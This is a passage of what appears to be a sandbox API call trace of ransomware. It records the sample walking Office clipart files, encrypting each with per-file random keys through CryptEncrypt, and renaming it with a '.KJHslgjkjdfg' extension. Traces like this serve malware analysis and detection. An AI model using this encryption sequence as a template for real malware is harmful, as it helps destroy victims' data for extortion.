liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.336] SetEndOfFile (hFile=0x130) returned 1 [0217.339] GetProcessHeap () returned 0x2ef0000 [0217.339] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.339] GetProcessHeap () returned 0x2ef0000 [0217.339] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.kjhslgjkjdfg")) returned 1 [0217.341] CloseHandle (hObject=0x130) returned 1 [0217.341] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1 [0217.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.366] GetProcessHeap () returned 0x2ef0000 [0217.367] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.367] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.367] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0217.389] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.389] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.389] GetProcessHeap () returned 0x2ef0000 [0217.389] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.389] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.389] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.389] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.389] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.389] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.389] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.390] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.390] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.390] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.390] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1784, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1784, lpOverlapped=0x0) returned 1 [0217.393] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1790, dwBufLen=0x1790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1790) returned 1 [0217.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.393] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1790, lpOverlapped=0x0) returned 1 [0217.393] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.394] SetEndOfFile (hFile=0x130) returned 1 [0217.397] GetProcessHeap () returned 0x2ef0000 [0217.397] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.397] GetProcessHeap () returned 0x2ef0000 [0217.397] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.kjhslgjkjdfg")) returned 1 [0217.399] CloseHandle (hObject=0x130) returned 1 [0217.399] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1 [0217.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.400] GetProcessHeap () returned 0x2ef0000 [0217.400] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.400] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.401] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.403] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.403] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.403] GetProcessHeap () returned 0x2ef0000 [0217.404] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.404] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.404] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.404] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.404] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.404] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.404] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.405] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.405] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.405] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.405] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e58, lpOverlapped=0x0) returned 1 [0217.407] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e60) returned 1 [0217.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.407] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e60, lpOverlapped=0x0) returned 1 [0217.407] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.407] SetEndOfFile (hFile=0x130) returned 1 [0217.413] GetProcessHeap () returned 0x2ef0000 [0217.413] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.413] GetProcessHeap () returned 0x2ef0000 [0217.413] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.kjhslgjkjdfg")) returned 1 [0217.416] CloseHandle (hObject=0x130) returned 1 [0217.416] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1 [0217.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.418] GetProcessHeap () returned 0x2ef0000 [0217.418] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.418] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.418] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0217.444] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.444] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.444] GetProcessHeap () returned 0x2ef0000 [0217.444] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.444] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.444] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.445] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.445] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.445] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.445] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.445] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.445] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19a4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x19a4, lpOverlapped=0x0) returned 1 [0217.735] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19b0) returned 1 [0217.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.735] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x19b0, lpOverlapped=0x0) returned 1 [0217.735] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.735] SetEndOfFile (hFile=0x130) returned 1 [0217.738] GetProcessHeap () returned 0x2ef0000 [0217.738] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.738] GetProcessHeap () returned 0x2ef0000 [0217.738] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.kjhslgjkjdfg")) returned 1 [0217.740] CloseHandle (hObject=0x130) returned 1 [0217.740] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1 [0217.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.741] GetProcessHeap () returned 0x2ef0000 [0217.741] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.741] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.741] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0217.817] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.817] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.817] GetProcessHeap () returned 0x2ef0000 [0217.817] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.817] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.817] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.817] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.817] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.818] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.818] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.818] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1cb3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1cb3, lpOverlapped=0x0) returned 1 [0217.821] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cc0, dwBufLen=0x1cc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cc0) returned 1 [0217.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.821] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1cc0, lpOverlapped=0x0) returned 1 [0217.821] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.821] SetEndOfFile (hFile=0x130) returned 1 [0217.824] GetProcessHeap () returned 0x2ef0000 [0217.824] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.824] GetProcessHeap () returned 0x2ef0000 [0217.824] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.kjhslgjkjdfg")) returned 1 [0217.826] CloseHandle (hObject=0x130) returned 1 [0217.826] FindNextFileW 